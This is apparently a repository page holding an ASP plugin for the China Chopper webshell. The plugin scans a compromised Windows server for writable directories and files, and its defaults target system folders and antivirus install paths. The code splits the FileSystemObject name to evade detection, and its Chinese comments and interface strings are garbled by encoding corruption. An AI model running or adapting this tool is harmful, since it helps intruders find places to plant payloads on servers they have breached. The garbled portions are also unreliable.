webshell/caidao-shell/caidao-plug/asp目录写权限检测.ccc

167 lines
20 KiB
Text
Raw Normal View History

<EFBFBD><EFBFBD>Response.Buffer = True
Server.ScriptTimeOut=999999999
CONST_FSO="Script"&"ing.Fil"&"eSyst"&"emObject"
'<00>b_<EF8D84>ReQ \
function GetFullPath(path)
GetFullPath = path
if Right(path,1) <> "\" then GetFullPath = path&"\" '<00>Y<EFBFBD>gW[&{gT N/f \ <00>v1\<5C>R
N
end function
' Rd<52><64>e<EFBFBD>N
Function Deltextfile(filepath)
On Error Resume Next
Set objFSO = CreateObject(CONST_FSO)
if objFSO.FileExists(filepath) then '<00>h<EFBFBD>g<EFBFBD>e<EFBFBD>N/f&TX[(W
objFSO.DeleteFile(filepath)
end if
Set objFSO = nothing
Deltextfile = Err.Number 'ԏ<>V<19><><EFBFBD>x
End Function
'<00>hKm<4B>vU_/f&T<>S<EFBFBD>Q 0 :N<>S<EFBFBD><53><EFBFBD>Q 1:N<>S<EFBFBD>Q N<>S<EFBFBD>N Rd<52>
Function CheckDirIsOKWrite(DirStr)
On Error Resume Next
Set FSO = Server.CreateObject(CONST_FSO)
filepath = GetFullPath(DirStr)&fso.GettempName
FSO.CreateTextFile(filepath)
CheckDirIsOKWrite = Err.Number 'ԏ<>V<19><><EFBFBD>x
if ShowNoWriteDir and (CheckDirIsOKWrite =70) then
Response.Write "[<font color=#0066FF><00>vU_</font>]"&DirStr&" [<font color=red>"&Err.Description&"</font>]<br>"
end if
set fout =Nothing
set FSO = Nothing
Deltextfile(filepath) ' Rd<52><64>c
if CheckDirIsOKWrite=0 and Deltextfile(filepath)=70 then CheckDirIsOKWrite =1
end Function
'<00>hKm<4B>e<EFBFBD>N/f&T<>S<EFBFBD>N<EFBFBD>O9e(dk<64>e<EFBFBD>l/f<>O9e^\'`,<00>S<EFBFBD><53>O g<>p N<>Q <0C>FO<46>W,g<><67>(u)
function CheckFileWrite(filepath)
On Error Resume Next
Set FSO = Server.CreateObject(CONST_FSO)
set getAtt=FSO.GetFile(filepath)
getAtt.Attributes = getAtt.Attributes
CheckFileWrite = Err.Number
set FSO = Nothing
set getAtt = Nothing
end function
'<00>hKm<4B>vU_<55>v<EFBFBD>S<EFBFBD><53><EFBFBD>Q'`
function ShowDirWrite_Dir_File(Path,CheckFile,CheckNextDir)
On Error Resume Next
Set FSO = Server.CreateObject(CONST_FSO)
B = FSO.FolderExists(Path)
set FSO=nothing
'/f&T:N4N<34>e<EFBFBD>vU_<55>T/f&T<><54><EFBFBD>hKm
IS_TEMP_DIR = (instr(UCase(Path),"WINDOWS\TEMP")>0) and NoCheckTemp
if B=false then '<00>Y<EFBFBD>g N/f<>vU_1\ۏL<DB8F><4C>e<EFBFBD>N<EFBFBD>hKm
'==========================================================================
Re = CheckFileWrite(Path) '<00>hKm/f&T<>S<EFBFBD>Q
if Re =0 then
Response.Write "[<00>e<EFBFBD>N]<font color=red>"&Path&"</font><br>"
b =true
exit function
else
Response.Write "[<font color=red><00>e<EFBFBD>N</font>]"&Path&" [<font color=red>"&Err.Description&"</font>]<br>"
exit function
end if
'==========================================================================
end if
Path = GetFullPath(Path) '<00>R \
re = CheckDirIsOKWrite(Path) 'S_MR<4D>vU__N<5F>hKmN N
if (re =0) or (re=1) then
Response.Write "[<00>vU_]<font color=#0000FF>"& Path&"</font><br>"
end if
Set FSO = Server.CreateObject(CONST_FSO)
set f = fso.getfolder(Path)
if (CheckFile=True) and (IS_TEMP_DIR=false) then
b=false
'======================================
for each file in f.Files
Re = CheckFileWrite(Path&file.name) '<00>hKm/f&T<>S<EFBFBD>Q
if Re =0 then
Response.Write "[<00>e<EFBFBD>N]<font color=red>"& Path&file.name&"</font><br>"
b =true
else
if ShowNoWriteDir then Response.Write "[<font color=red><00>e<EFBFBD>N</font>]"&Path&file.name&" [<font color=red>"&Err.Description&"</font>]<br>"
end if
next
if b then response.Flush '<00>Y<EFBFBD>g g<>Q<EFBFBD>[1\7R<37>e<EFBFBD>[7b<37>z>f:y
'======================================
end if
'============= <00>vU_<55>hKm ================
for each file in f.SubFolders
if CheckNextDir=false then '/f&T<>hKm NN*N<>vU_
re = CheckDirIsOKWrite(Path&file.name)
if (re =0) or (re=1) then
Response.Write "[<00>vU_]<font color=#0066FF>"& Path&file.name&"</font><br>"
end if
end if
if (CheckNextDir=True) and (IS_TEMP_DIR=false) then '/f&T<>hKm NN*N<>vU_
ShowDirWrite_Dir_File Path&file.name,CheckFile,CheckNextDir '<00>Q<EFBFBD>hKm NN*N<>vU_
end if
next
'======================================
Set FSO = Nothing
set f = Nothing
end function
if Request("Paths") ="gg" then
Paths_str="c:\windows\"&chr(13)&chr(10)&"c:\Documents and Settings\"&chr(13)&chr(10)&"c:\Program Files\"
if Session("paths")<>"" then Paths_str=Session("paths")
Response.Write "<form id='form1' name='form1' method='post' action=''>"
Response.Write "<textarea name='Paths' cols='80' rows='10'>"&Paths_str&"</textarea>"
Response.Write "<br />"
Response.Write "<input type='submit' name='button' value='_<>Y<EFBFBD>hKm' />"
Response.Write "<label for='CheckNextDir'>"
Response.Write "<input name='CheckNextDir' type='checkbox' id='CheckNextDir' checked='checked' />KmՋ<6D>vU_ "
Response.Write "</label>"
Response.Write "<label for='CheckFile'>"
Response.Write "<input name='CheckFile' type='checkbox' id='CheckFile' checked='checked' />KmՋ<6D>e<EFBFBD>N"
Response.Write "</label>"
Response.Write "<label for='ShowNoWrite'>"
Response.Write "<input name='ShowNoWrite' type='checkbox' id='ShowNoWrite'/>"
Response.Write ">f<>y<EFBFBD>Q<EFBFBD>vU_<55>T<EFBFBD>e<EFBFBD>N</label>"
Response.Write "<label for='NoCheckTemp'>"
Response.Write "<input name='NoCheckTemp' type='checkbox' id='NoCheckTemp' checked='checked' />"
Response.Write " N<>hKm4N<34>e<EFBFBD>vU_</label>"
Response.Write "</form>"
else
Response.Write "<a href=""?"">͑<>e<EFBFBD><65>eQ_</a><br>"
CheckFile = True
CheckNextDir = True
ShowNoWriteDir = false
NoCheckTemp = True
'Response.Write "<00>hKm<4B>S<EFBFBD><53><00><><EFBFBD>N<>[<5B>v<EFBFBD>e<EFBFBD><65><EFBFBD><EFBFBD> zI{......<br>"
'response.Flush
Session("paths") = "C:\WINDOWS\|C:\Documents and Settings\|C:\Program Files\|C:\WINDOWS\PCHealth\|C:\WINDOWS\system32\|C:\WINDOWS\Registration\|C:\WINDOWS\system32\spool\|C:\WINDOWS\Tasks\|C:\WINDOWS\7i24.com\FreeHost\|C:\WINDOWS\Temp\|C:\WINDOWS\system32\spool\PRINTERS\|C:\WINDOWS\Registration\CRMLog\|C:\WINDOWS\PCHealth\ERRORREP\QHEADLES\|C:\WINDOWS\PCHealth\ERRORREP\QSIGNOFF\|c:\windows\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files\root\|c:\Program Files\Common Files\|c:\Program Files\Common Files\DU Meter\|C:\Program Files\Microsoft SQL Server\90\Shared\|c:\Program Files\Keniu\Keniu Shadu\ProgramData\|c:\Program Files\Keniu\Keniu Shadu\Temp\|C:\Program Files\Microsoft SQL Server\90\Shared\ErrorDumps\|c:\Program Files\KSafe\AppData\update\|c:\Program Files\KSafe\AppData\|c:\Program Files\KSafe\Temp\uptemp\|c:\Program Files\KSafe\Temp\|c:\Program Files\KSafe\webui\icon\|c:\Program Files\Rising\RAV\XMLS\|c:\Program Files\Rising\RAV\|C:\Program Files\Zend\ZendOptimizer-3.3.0\|C:\Program Files\Common Files\|c:\Program Files\Microsoft SQL Server\90\Shared\ErrorDumps\|C:\Program Files\Symantec AntiVirus\SAVRT\|C:\Program Files\Zend\ZendOptimizer-3.3.0\docs\|c:\Program Files\Thunder Network\Thunder\|D:\Program Files\Thunder Network\Thunder\ComDlls\|D:\Program Files\Thunder Network\Thunder\Program\|D:\Program Files\Adobe\Reader 9.0\|D:\Program Files\Tencent\|C:\Program Files\Symantec AntiVirus\SAVRT\|C:\Program Files\Zend\ZendOptimizer-3.3.0\docs\|C:\Program Files\360\|C:\Program Files\360\360safe\|C:\Program Files\360\360sd\|C:\Program Files\360\360Se\|c:\Program Files\360\360safe\deepscan\Section\|c:\Program Files\360\360sd\AntiSection\|c:\Program Files\360\360sd\deepscan\Section\|c:\Program Files\360\360safe\deepscan\Section\mutex.db\|c:\Program Files\360\360sd\AntiSection\mutex.db\|c:\Program Files\360\360sd\deepscan\Section\mutex.db\|C:\Program Files\Eset\|C:\Program Files\ESET\ESET NOD32 Antivirus\|C:\Program Files\WinRAR\||C:\Documents and Settings\All Users\|C:\Documents and Settings\All Users\DR
PathsSplit=Split(Session("paths"),"|")
For i=LBound(PathsSplit) To UBound(PathsSplit)
if instr(PathsSplit(i),":")>0 then
ShowDirWrite_Dir_File Trim(PathsSplit(i)),CheckFile,CheckNextDir
End If
Next
Response.Write "[kb<6B>c<EFBFBD>[b]<br>"
end if